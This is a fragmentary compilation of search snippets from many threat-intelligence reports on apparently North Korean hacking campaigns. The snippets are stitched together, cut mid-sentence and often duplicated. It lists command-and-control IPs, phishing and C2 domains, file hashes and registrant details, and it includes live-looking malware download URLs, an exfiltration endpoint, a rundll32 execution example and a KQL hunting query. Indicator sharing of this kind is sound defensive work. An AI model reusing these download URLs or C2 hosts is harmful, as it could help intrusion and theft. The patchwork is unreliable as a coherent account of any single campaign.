카카오톡 휴면 메세지 이메일 헤더 내용 Received-SPF: pass (mx.daum.net: domain of root@uws64-180.cafe24(.0com designates 183.111.174.84 as permitted sender) X-Hanmail-Peer-IP: 183.111.174.84 X-Hanmail-Env-From: root@uws64-180.cafe24.com X-Hanmail-Class: X X-Kakaomail-MID:…","…C&C 142.11.248.98 27.102.113.20 natezlx.myvnc.com nid-naverbpk.onthewifi.com daumcyd.ddns.net 27.102.113.170 183.111.226.13 27.102.113.107 27.102.113.209 cdn.glitch.global E-mail Sender 61.97.243.9 160.202.160.248 103.249.28.34 Google Drive URL…","…- 50.205.193.11:443 (US) - 208.52.184.13:443 (US) - 184.107.209.2:443 (CA) [그림 4] 명령 제어 서버 지도 공격자는 윈도우즈 명령 처리기 코드 조합을 특유의 방식으로 사용하는데, 이 코드 패턴은 2009년 7.7 DDoS 공격 시점과 2011년 4.12…","…(laxhost.dll) e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef (dwnhost.dll) IPs (7) 111.207.78.204 181.119.19.56 184.107.209.2 59.90.93.97 80.91.118.45 81.0.213.173 98.101.211.162 Findings 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 T…","…15, 2016, to January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The…","…January 22, 2021. 45.33.2.79 45.33.23.183 45.56.79.23 45.79.19.196 96.126.123.244 146.112.61.107 184.168.221.40 184.168.221.57 198.187.29.20 198.54.117.197 198.54.117.198 198.54.117.199 198.54.117.200 198.58.118.167 The jmttrading.org domain…","…NAMECHEAP INC 90 microca11.com 2026-02-26 14:32:43 184.94.213.200 22612 Namecheap, Inc.…","…탈취하기 위한 용도의 피싱사이트 주소들은 다음과 같습니다. MYBOX 보안주의 위장 C2 주소 ned.kesug.com (185.27.134.201 / 185.27.134.144[GB]) 온라인.한국.article-com.eu (185.105.33.106 [GB]) wud.wuaze.com (185.27.134.140 [GB]) covd.2kool4u.net (185.27.134.93 [GB]) owna.loveslife.biz (185.27.134.120…","…of Compromise Domain Name cookiemanager.ne.kr nidiogln.ne.kr online.korea.article-com.eu evangelia.edu IP 185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5…","…Finally, we see that embedded address of the attacker’s remote server: 185.106.93.154 . The researcher @phd_phuc also pointed out that malware also “targets Chrome, Firefox, Brave, Edge, Vivaldi, Yandex, Opera, and OperaGX.…","…Finnie Swash TronWallet CryptoAirdrop ibnejdfjmmkpcnlpebklmnkoeoihofec nkbihfbeogaeaoehlefnkodbefgpgknn bocpokimicclpaiekenaeelehdjllofo 185.106.93.154 POST /sendlog HTTP/1.1 For example, we can see that the malware will display a fake password prompt (via osascript ) in order to get the…","…The server hosting celasllc.com (185.142.236.213) belongs to the Blackhost ISP in the Netherlands. WHOIS record of cellasllc.com server Coincidentally, the Fallchill malware authors…","…Protocol (IP) addresses from May 29, 2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a valid Sectigo (previously known as…","…celasllc.com/checkupdate.php Whois Whois for celasllc.com had the following information in August 2018: IP Address: 185.142.236.213 Registrant Name: John Broox Registrant Organization: Registrant Street: 2141 S Archer Ave Registrant City: Chicago Registrant…","…If there is no configuration value, the malware falls back to a default C2 server address. 196.38.48.121 185.142.236.226 This is a full-featured backdoor that contains enough functions to fully control the infected host.…","…found by the cyber security organization had two default C2 server addresses: 196.38.48.121 – South Africa Internet Solutions, AS3741 185.142.236.226 – Netherlands Amsterdam Blackhost Ltd ISP, AS174 Cogent Communications The C2 185.142.236.226 resides in the same Autonomous System Number…","…'https://online.dokamacto.xyz' , 'http://online.dokamacto.xyz' ] ALLOWED_HOSTS [ ' 170.205.29.83 ', ' 146.19.215.187 ', ' 185.147.159.187 ', ' 170.205.30.27 ', 'dashboard.asteara.org', 'dashboard.cklomino.ink', 'almanac.3dscenebox.online', 'dashboard.gaganata.ink',…","…2024-06-14 ScoringMathTea C&C server: https://oldlinewoodwork.com/wp-content/themes/zubin/inc/index.php 185.148.129.24 www.mnmathleague .org A2 Hosting, Inc.…","…(TCP) 172.64.152.151:443 (TCP) 18.185.8.123:443 (TCP) 18.185.8.123:80 (TCP) 18.65.39(.020:443 (TCP) 18.65.39.20:80 (TCP) 185.15.59.224:443 (TCP) 185.15.59.224:80 (TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80…","…poisoning BLOCK / MONITOR 13 146.70.194.93 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 14 185.157.109.60 PHP web shell tooling / upload progress session poisoning BLOCK / MONITOR 15 143.246.213.138 PHP web shell tooling / upload…","…· C2 : sportgame .mypressonline.com (185.176.40.84) [그림 3] 악성 파일내 C2 통신 및 정보수집 명령 코드 화면 시스템 정보 전송 이후에 C2 추가 명령에 따라 'jemma002' 인자값을 통해 추가 악성코드가 zyx.dll 파일명으로 추가 설치됩니다.…","…IoC http://gg1593.c1.biz/dn.php 185.176.43.106 DAE0EFD29230FEAB95F46EE20030A425 공유하기 게시글 관리 이스트시큐리티 알약 블로그 저작자표시 비영리 변경금지 (새창열림)…","…Automated Exfiltrated T1041 Exfiltration Over C2 Channel STIFF#BIZON – Indicators of compromise Host Communication 185.176.43.106 547857.c1.biz 65487.c1.biz File Name SHA256 (Dynamic/Custom implants) food.bat…","…15 김명희_20240515.xlsx.lnk glonalcnielmxc.mywebcommunity.org 185.176.43.108 [BG 0993cf18121be84f5b1511318df80f44 05.…","…URL http://mybobo.mygamesonline.org/flower01/flower01.ps1 URL delivery Domain mybobo.mygamesonline.org Domain C2 IP 185.176.43.82 IP C2 URL http://mybobo.mygamesonline.org/flower01/post.php URL C2 SHA-256…","…1 2 3 4 SHA256 1fcd9892532813a27537f4e1a1c21ec0c110d6b3929602750ed77bbba7caa426 MD5 07d0be79be38ecb8c7b1c80ab0bd8344 C2 IP 185.176.43.82 http://mybobo.mygamesonline.org/flower01/flower01.ps1 Virustotal ANY.RUN Thank You for reading this till the end ❤ It’s my…","…At the time of the activity, both downplease.c1.biz and lookplease.c1.biz resolved to the IP address 185.176.43.94 . Attribution Konni: Malware or Actor? Originally, the name “Konni” was used to refer to a Remote Access Trojan utilized in targeted…","…Domain IP portable.epizy.com 185.27.134.213 ramble.myartsonline.com 185.176.43.98 ◇ 아시아 태평양 연구 논문 투고로 사칭한 공격 사례 ESRC는 탈륨 그룹의 위협행위를 추적하는 과정에서 코드가 거의 유사한 계열의 변종을 확보했습니다.…","…In addition, the server that downloads the additional malware resolves to 185.176.43.98 , which the Kimsuky group has been using continuously . Conclusion We’ve seen a number of recent cases of cybercrime-related malware…","…from May 29, 2018, to January 23, 2021. 45.199.63.220 107.187.66.103 145.249.106.19 175.29.32.160 185.142.236.213 185.181.104.82 198.251.83.27 208.91.197.46 209.99.64.18 The celasllc.com domain had a valid Sectigo (previously known as Comodo) Secure…","…178.157.102.179 182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54…","…script ‘/var/www/html/_phpinfo.php’ not found or unable to stat [Thu May 22 01:38:18.515014 2025] [php7:error] [pid 3432462] [client 185.194.178.17:25511] script ‘/var/www/html/_poopinfo.php’ not found or unable to stat These scans were unsuccessful, indicating the operators did not…","…IPs, particularly looking for common PHP framework vulnerabilities: [Thu May 22 01:38:17.690879 2025] [php7:error] [pid 3432461] [client 185.194.178.6:20373] script ‘/var/www/html/_phpinfo.php’ not found or unable to stat [Thu May 22 01:38:18.515014 2025] [php7:error] [pid 3432462]…","…, 70.34.245.118 trashcrease.com , 178.128.77.132 anglerstatic.com , 131.226.2.43 goingladies.com , 23.236.169.233 185.194.178.88 45.86.202.224 SlowMist malicious domain and IP list gossipsnare.com , 51.38.145.49:443 showmanroast.com ,…","…/ target-list hosting / launch MONITOR & HUNT 6 158.173.75.178 Staging / target-list hosting / launch MONITOR & HUNT 7 185.203.18.54 Staging / target-list hosting / launch MONITOR & HUNT 8 185.235.212.105 Staging / target-list hosting / launch MONITOR & HUNT…","…182.239.115.115 182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77…","…poisoning BLOCK / MONITOR 15 115.96.27.126 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 16 185.207.232.121 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 17 78.47.85.99 PHP web shell tooling / upload-progress…","…Third stage C2 servers 198.55.119.112:443 45.58.112.77:443 23.229.111.197:8443 23.229.111.197:443 185.208.158.208:443 MITRE ATT&CK Mapping Tactic Technique Technique Name Resource Development T1584.006 T1583.003 Compromise…","…52.202.193.124 ed11e94fd9aa3c7d4dd0b4345c106631fe52929c6e26a0daec2ed7d22e47ada0 x64 RAT (3rd stage) RAT-KrCERT-x64 (TigerRAT) 185.208.158.208 fec82f2542d7f82e9fce3e16bfa4024f253adee7121973bd9d67a3c79441b83c x64 RAT (3rd stage) RAT-KrCERT-x64 (TigerRAT) 185.208.158.208…","…\"185.21.14.249\" [NL] One of EndRAT’s defining characteristics is that it uses a custom socket protocol over HTTP port 80 without actually…","…\"185.21.14.249\" [NL] EndRat의 대표적인 특징 중 하나는 HTTP 포트(80)를 사용하면서도 실제 HTTP 프로토콜을 사용하지 않는 Custom Socket Protocol 구조입니다.…","…2024-04-05 2024-05-03 JavaScript api.ethzone.io 91.234.199.90 2024-04-16 2024-04-24 Python api.fivebit.io 185.216.144.41 2024-04-08 2024-04-14 Python blockprices.io 91.193.18.201 2024-03-15 2024-04-09 JavaScript api.coinhar.io…","…12 – Reobfuscation request, restarts itself EtherRAT SYS_INFO Module In our analysis, TRU observed the EtherRAT C2 at aurineuroth.com (185.218.19.162 - ASN#400992 \"ZhouyiSat Communications\") return additional code to execute.…","…be string, resource given in /var/www/html/request.php on line 86 [Mon May 26 06:08:55.560958 2025] [php7:notice] [pid 3519959] [client 185.219.141.231:6432] PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in /var/www/html/request.php on line 146 2.…","…- kaist.r-naver.com (185.224.137.164) - kaist.krfa.ml (185.224.138 .…","…(KR) Dongil Song bitcoin024@hanmail.net hanrnaii.net 27.102.115.16 (KR) Dongil Song bitcoin024@hanmail.net webrnail.net 185.224.138.172 (NL) Snoopy Nicolai 11baku2017@mail.ru webrnail.com 156.67.222.228 (SG) Blazimir Nicolai 11baku2017@mail.ru attach-filedown.net…","…악성코드 유포지 및 C&C 서버 악성코드 분석 과정에서 추출한 악성코드 유포지 , C&C 서버 는 185.224.138.29 (NE) 와 연결되는데 , 해당 IP 와 다수의 URL 이 연결되어 있었다 . 그 중 일부 URL 을 [ 표 9 ] 와 같이 정리했다 . [ 표 9 ] 에서 볼 수 있는…","…기능이 존재하며, 해당 파일은 DLL이므로 Rundll32.exe를 통해 다음과 같은 형식으로 실행된다. [+] sen.a의 실행 예시: Rundll32.exe sen.a, Query() sen.a의 C&C 서버는 navor-net.hol.es(185.224.138.29, NE)이지만 암호화되어 있으며, 동적 분 석 당시 [그림 2]와 같이 주기적으로 C&C 서버와 통신이 가능한 것을 확인했다.…","…C&C § [CASE 1-1] Directory Listing – HWP Malware § fontchk.jse (f22db1e3ea74af791e34ad5aa0297664) § C&C : suppcrt-seourity . esy.es ( 185.224.138.29 , NL) 47 /155 Tracking Malware & Monitoring C&C § [CASE 1-1] Directory Listing – HWP…","…The IP address of 185.228.83.129 belongs to Access2.it Group B.v.…","…The domain was registered at the IP address 185.228.83.32 with ASN 205406. 4d6078fc1ea6d3cd65c3ceabf65961689c5bc2d81f18c55b859211a60c141806 Tags backdoortrojan Details Name…","…자동 제작 도구까지 개발해 공격에 활용하고 있습니다. No File Name AutoIt Script C2 Mutex 1 시장통제 관련 내부 동향 및 물가.hwp.lnk 185.231.154.22 [RU] RT3AN7C9QS-7UYE-9K6G-A8F1-HY8IT3CNMEQP 2 첨부1_소명자료 목록(탈세제보).hwp.lnk 62.113.118.157 [RU]…","…○ 참고로 ' 62.113.118.157 ', ' 185.231.154.22 ', ' 93.183.93.185 ', ' 94.103.87.212 ' C2는 2024년부터 AutoIt 악성 스크립트를 이용한 통신 주소로 계속 관찰되고 있는 상황입니다.…","…IP 62.113.118.157 192.109.119.113 185.231.154.22 93.183.93.185 94.103.87.212 MD5…","…Lilith RAT 94.103.87.212 C2 Custom Lilith RAT 93.183.93.185 C2 Custom Lilith RAT 185.231.154.22 C2 Custom Lilith RAT 91.107.208.93 C2 Custom Lilith RAT accuses.org C2 AutoIt Amadey kpcserver.com C2 AutoIt Amadey 47 © 2026 LAC Co.,…","…/storkse.com/upload.php http://sibbss.com/upload.php http://oryzanine.com/index.php http://mq734121.info/index.php 93.183.93.185:57860 185.231.154.22:52720 62.113.118.157:57860 Threat Intelligence Apt North Korea Konni Punk 003 --…","…paths or obscure file types. Could be used for persistence or payload reconstruction . Connection (C2 Communication) IP Contacted: 185.235.128.114 This is a clear command-and-control (C2) indicator . The malware is reaching out to an external IP , possibly for: Fetching additional…","…/ target-list hosting / launch MONITOR & HUNT 7 185.203.18.54 Staging / target-list hosting / launch MONITOR & HUNT 8 185.235.212.105 Staging / target-list hosting / launch MONITOR & HUNT 9 103.77.210.80 Staging / target-list hosting / launch MONITOR & HUNT…","…2024-10-29 2024-11-03 Python en.wfinance.org 195.133.26.32 2024-10-12 2024-11-01 Python en.stocksindex.org 185.236.231.224 2024-09-11 2024-10-04 Python cdn.jqueryversion.net 194.11.226.16 2024-08-23 2024-09-23 JavaScript en.stockslab.org…","…. These additional domain names and IP addresses are: Domains and IPs with host history similarity Copy 185.236.231.224 en.stocksindex.org www.en.stocksindex.org 195.133.26.32 en.wfinance.org www.en.wfinance.org 136.244.93.248 api.stockinfo.io www.api.stockin…","…Oct 26, 2024, with several notable discoveries: Iran-Based Servers : Several additional servers were identified in Iran, including 185.239.0.39 , and 185.239.2.170 .…","…new hostnames found in TLS certificates via Hunt's Threat Intelligence Feeds , the domain ulta.appleplus.store , hosted on 185.239.0.42 , was seen as a common name for a certificate.…","…8443. Similarly noted by @eastside_nci, we also identified an HTTP 302 redirect with a location header of https://mail.naver.com . 185.239.0.43 We didn't have to look far for the next IP in this cluster: 185.239.0.43 falls within the same ASN space as the server that initially…","…notable discoveries: Iran-Based Servers : Several additional servers were identified in Iran, including 185.239.0.39 , and 185.239.2.170 .…","…suspicious network traffic discussed in emails is the compromise of the business’ Linux email server, hosted publicly at vpk.npomash.ru ( 185.24.244.11 ).…","…ports 85.137.56.245:443 45.11.59.140:443 213.111.148.242:443 85.137.56.161:443 92.242.187.214:443 185.66.91.112:443 213.111.146.132:443 185.254.198.90:443 78.141.211.155:443 45.11.59.99:443 195.66.213.5:443 45.11.59.184:443 213.111.148.202:10443 Associated domains and SAN names…","…(TCP) 18.185.8.123:80 (TCP) 18.65.39(.020:443 (TCP) 18.65.39.20:80 (TCP) 185.15.59.224:443 (TCP) 185.15.59.224:80 (TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443…","…(TCP) 18.65.39.20:80 (TCP) 185.15.59.224:443 (TCP) 185.15.59.224:80 (TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80…","…(TCP) 185.15.59.224:443 (TCP) 185.15.59.224:80 (TCP) 185.26.182.103:443 (TCP) 185.26.182.103:80 (TCP) 185.26.182.109:80 (TCP) 185.26.182.118:80 (TCP) 192.229.221.95:80 (TCP) 2.18.66.170:443 (TCP) 2.22.5.73:443 (TCP) 2.23.161.155:443 (TCP) 2.23.161.155:80…","…(185.105.33.106 [GB]) wud.wuaze.com (185.27.134.140 [GB]) covd.2kool4u.net (185.27.134.93 [GB]) owna.loveslife.biz (185.27.134.120 [GB]) nidiogln.n-e.kr naverbox.p-e.kr 4.…","…IP 185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5…","…MYBOX 보안주의 위장 C2 주소 ned.kesug.com (185.27.134.201 / 185.27.134.144[GB]) 온라인.한국.article-com.eu (185.105.33.106 [GB]) wud.wuaze.com (185.27.134.140 [GB]) covd.2kool4u.net (185.27.134.93 [GB]) owna.loveslife.biz (185.27.134.120 [GB]) nidiogln.n-e.kr naverbox.p-e.kr 4.…","…Name cookiemanager.ne.kr nidiogln.ne.kr online.korea.article-com.eu evangelia.edu IP 185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5…","…[그림 5] 피싱메일 화면 비교 모습 ○ 이메일 비밀번호를 탈취하기 위한 용도의 피싱사이트 주소들은 다음과 같습니다. MYBOX 보안주의 위장 C2 주소 ned.kesug.com (185.27.134.201 / 185.27.134.144[GB]) 온라인.한국.article-com.eu (185.105.33.106 [GB]) wud.wuaze.com (185.27.134.140 [GB]) covd.2kool4u.net (185.27.134.93…","…도메인으로 변경됩니다. [그림 5] 피싱메일 화면 비교 모습 ○ 이메일 비밀번호를 탈취하기 위한 용도의 피싱사이트 주소들은 다음과 같습니다. MYBOX 보안주의 위장 C2 주소 ned.kesug.com (185.27.134.201 / 185.27.134.144[GB]) 온라인.한국.article-com.eu (185.105.33.106 [GB]) wud.wuaze.com (185.27.134.140 [GB]) covd.2kool4u.net (185.27.134.93…","…Access Indicators of Compromise Domain Name cookiemanager.ne.kr nidiogln.ne.kr online.korea.article-com.eu evangelia.edu IP 185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5…","…Domain IP portable.epizy.com 185.27.134.213 ramble.myartsonline.com 185.176.43.98 ◇ 아시아 태평양 연구 논문 투고로 사칭한 공격 사례 ESRC는 탈륨 그룹의 위협행위를 추적하는 과정에서 코드가 거의 유사한…","…(185.27.134.201 / 185.27.134.144[GB]) 온라인.한국.article-com.eu (185.105.33.106 [GB]) wud.wuaze.com (185.27.134.140 [GB]) covd.2kool4u.net (185.27.134.93 [GB]) owna.loveslife.biz (185.27.134.120 [GB]) nidiogln.n-e.kr naverbox.p-e.kr 4.…","…cookiemanager.ne.kr nidiogln.ne.kr online.korea.article-com.eu evangelia.edu IP 185.27.134.201 185.105.33.106 185.27.134.140 185.27.134.93 185.27.134.120 185.27.134.144 MD5…","…761D82CF2CFB0E9D8DF469357E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[…","…Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154…","…엔진버전) – Infostealer/Win.Pwstealer.C4510631 (2021.06.04.03) – Backdoor/Win.NukeSped.C4631988 (2021.09.15.01) NukeSped 다운로드 주소 – http://185.29.8.18/htroy.exe NukeSped C&C 주소 – 185.29.8.18:8888 – 84.38.133.145:443 – 84.38.133.16:8443 – mail.usengineergroup.com:8443 NukeSped 파일명 –…","…IOCs tech.micrsofts.com tech.micrsofts.tech 27.102.113.93 185.29.8.53 155.94.208.209 162.19.71.175 201.77.179.66 http://27.102.113.93/inet.txt http[://]162.19.71.175:7443/sonic/bottom.gif http[://]201.77…","…- pelham-holles.com/order/vbs.txt (185.38.151.11) - pelham-holles.com/order/no1 .txt - brighton1578@rambler.ru [그림 4] 쉘코드에서 C2 주소를 확인하는 모습 'vbs.txt' 파일은 다음과 같이 Base64…","…197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13 104.168.137.213 88.204.166.59 URL s (Hardcoded IP addresses) 140.136.134.201:8080/open?topic=…","…attack: 5/ Hashes (sha1): b639bca429778d24bda4f4a40c1bbc64de46fa79 23017a55b3d25a2597b7148214fd8fb2372591a5 C2 IPs: 89.34.111.113:443 185.49.69.210:80 — Philip Martin (@SecurityGuyPhil) June 19, 2019 This (Firefox) 0day, has now been patched as CVE-2019-11707, and covered in…","…WordPress-based site hosting the C&C server: https://kerstpakketten.horesca-meppel.nl/wp-content/plugins/woocommerce/lib.php 185.51.65.233 kittimasszazs.hu DoclerNet Operations, ORG-DHK1-RIPE 2020‑02‑22 A compromised legitimate site hosting the C&C…","…Hash: 8451be72b75a38516e7ba7972729909e fe2d05365f059d48fd972c79afeee682 186aa05bfe4739274c3c258be4a5a160 IP: 185.62.56.131 Indicators of Attack (IoAs): Execution: T1047: Windows Management Instrumentation Execution: T1106: Execution through API Persistence:…","…2024-04-08 2024-04-14 Python blockprices.io 91.193.18.201 2024-03-15 2024-04-09 JavaScript api.coinhar.io 185.62.58.122 2024-03-26 2024-04-09 Python mavenradar.com 23.254.230.253 2024-02-21 2024-03-26 JavaScript indobit.io 146.70.88.126…","…Mach-O payload itself contains a number of interesting UTF-16 strings that both indicate its purpose and its C2s. 67.43.239.146:443 185.62.58.207:443 plugin_file plugin_process /bin/bash plugin_reverse_p2p logsend plugin_socks The payload’s main() function is fairly succinct and…","…107.172.197.175:443 108.170.31.81:443 111.90.146.105:443 111.90.148.132:443 172.81.132.41:443 172.93.184.62:443 172.93.201.219:443 185.62.58.207:443 192.210.239.122:443 198.180.198.6:443 209.90.234.34:443 216.244.71.233:443 23.227.199.53:443 23.227.199.69:443 23.254.119.12:443…","…2024-06-24 2024-07-12 Python api.jquery-release.com 146.70.125.120 2024-06-10 2024-06-28 JavaScript cdn.logosports.net 185.62.58.74 2024-05-08 2024-06-23 Python skypredict.org 80.82.77.80 2024-05-06 2024-06-16 JavaScript api.bitzone.io…","…185.66.91.112 — its certificate contains delay.servehttp.com , which Zscaler lists as ROOFDECK C2.…","…in place, we reduce our result set to 17 responses across 4 domain names and 7 IP addresses, including the domain financecap.io on the IP 185.69.16.236 .…","…182.239.115.43 182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58…","…解密C2服务器地址 将硬盘序列号、木马版本、是否为管理员、系统版本、杀软信息、主机名、用户名作为上线数据包以 HTTP 协议 POST 方法发送至 C2 服务器（http:// 186.122.150.107/cc/index.php）。 图12.…","…Interestingly, several of the domains connected to one of C&C servers (186.122.150.107) were sinkholed by Microsoft in a legal move of interdiction against Thallium - a North Korean state-affiliated APT group.…","…112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145…","…(23) 112.175.92.57 113.114.117.122 117.239.241.2 119.18.230.253 128.200.115.228 137.139.135.151 14.140.116.172 181.39.135.126 186.169.2.237 195.158.234.60 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145…","…209 .208.109.38 59.120.122.35 145.108.194.10 140.117.91.22 199.66.91.106 202.39.61.57 192.48.29.14 197.44.198.211 186.232.112.25 125.100.175.62 192.183.29.182 62.201.228.179 181.193.82 .122 197.51.50.158 140.136.134.201 185.45.28.182 203.151.166.13…","…and exfiltration · Input capture · Command/process execution and manipulation SLICKSHOES communicates to a hardcoded C2 address (188.165.37.168) on TCP port 80.…","…. Submitted Files (1) fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac (CCA9FBB11C194FC53015185B741887...) IPs (1) 188.165.37.168 Findings fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac Tags emotettrojan Details Name…","…recon and exfiltration · Input capture · Command/process execution and manipulation SLICKSHOES communicates to a hardcoded C2 address (188.165.37.168) on TCP port 80.…","…182.239.92.147 182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76…","…\"ur01webzoom.us\", \"uv01webzoom.us\", \"uv03webzoom.us\", \"uv04webzoom.us\", \"ux06webzoom.us\", \"check02id.com\"]); let c2_ips = dynamic([\"188.227.196.252\", \"83.136.208.246\", \"83.136.209.22\", \"83.136.208.48\", \"83.136.210.180\", \"104.145.210.107\", “188.227.197.136”]); DeviceNetworkEvents |…","…let c2_ips = dynamic([\"188.227.196.252\", \"83.136.208.246\", \"83.136.209.22\", \"83.136.208.48\", \"83.136.210.180\", \"104.145.210.107\", “188.227.197.136”]); DeviceNetworkEvents | where Timestamp > ago(30d) | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips) | project…","…: teamoftenuse.com teanrisliue.com tearns-liue.com Older C2 servers tied to new UNC1069 phishing deployments: check02id.com 188.227.197.143 SINT-69 An uncategorized intrusion set, remains active after an infrastructure migration.…","…auth header (both payloads) Typo-squatted Domains Pivoting from the initial phishing domain uu03webzoom.us (resolving to 188.227.197.32, AS400897 ) revealed an extensive network of typo-squatted Zoom and Microsoft Teams domains.…","…10:24:02 84.32.84.32 47583 AS-HOSTINGER Hostinger International Limited Hostinger UAB 98 un01web.us 2026-02-13 15:28:37 188.227.197.32 400897 PETROSKY CLOUD LLC NameSilo, LLC 99 uo01web.us 2026-02-13 13:14:29 91.195.240.123 47846 SEDO-AS SEDO GmbH…","…(UK) N/A N/A karachi-pk.com 188.241.39.220 (UK) N/A N/A karachi-tan.com 62.133.58.60 (US) N/A N/A attachment-download.net 188.241.39.10 (UK) N/A N/A naver.attach-download.com 104.243.41.186 (US) 782297f262156a15 65e 5efe860b4c715s@mail.ru…","…net 188.241.39.220 (UK) N/A N/A download-daum.net 188.241.39.220 (UK) N/A N/A downloader-naver.com 188.241.39.220 (UK) N/A N/A…","…manage-download.com 188.241.39.220 (UK) N/A N/A manage-downloader.com 188.241.39.10 (UK) N/A N/A attach-download.net 188.241.58.59 (RO) Jongdae Kim jan g.es@daum.net interpuber.com 46.17.175.29 (US) Swoonchul Kwon bitcoin014@han mail.net rnailb.com 188.241.58.60…","…188.241.58.59 (RO) Jongdae Kim jan g.es@daum.net interpuber.com 46.17.175.29 (US) Swoonchul Kwon bitcoin014@han mail.net rnailb.com 188.241.58.60 (RO) Swoonchul Kwon bitcoin014@han mail.net nuaver.com 188.241.58.60 (RO) Swoonchul Kwon bitcoin014@han mail.net intercasher.com…","…(RO) Annie Cho bitcoin025@hanmail.net rneail.com 27.102.106.122 (KR) Annie Cho bitcoin018@hanmail.net rnaeil.com 188.241.58.61 (RO) Annie Cho bitcoin018@hanmail.net rnailm.com 194.124.34.62 (JP) Annie Cho bitcoin025@hanmail.net naerver.com…","…This contrasts with the China path, which appears to take a longer or more complex route before reaching its final destination. 10 188.43.225.153 185.192 ms 183.649 ms 189.089 ms 11 * * 12 * * 13 * * 14 175.45.177.10 195.996 ms 186.801 ms 186.353 ms 15 175.45.177.10 188.886 ms…","…poisoning BLOCK / MONITOR 7 124.122.142.142 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 8 188.80.228.122 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 9 134.209.181.133 PHP web shell tooling /…","…41.131.29.59 176.35.250.93 64.86.34.24 58.6.21.11 114.215.107.218 118.140.97.6 190.216.219.247 201.26.209.137 14.161.14.196 220.132.191.110 92.42.54.184 182.180.143.39 193.251.27.90 (NOTE: These are just some of…","…69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35 145.108.194.10…","…203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 128.201.64.194 23.254.144.139 209 .208.109.38 59.120.122.35…","…182.239.92.58 182.239.93.210 182.239.93.41 185.107.69.214 185.192.71.14 185.204.1.184 185.82.72.120 188.212.135.178 191.101.126.192 191.96.180.36 191.96.180.37 191.96.180.52 191.96.180.54 191.96.180.77 194.32.120.58 194.32.120.76 194.5.48.68…","…210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197 190.85.159.46 190.81.34.163 191.215.16.82 91.140.255.62 68.232.175.188 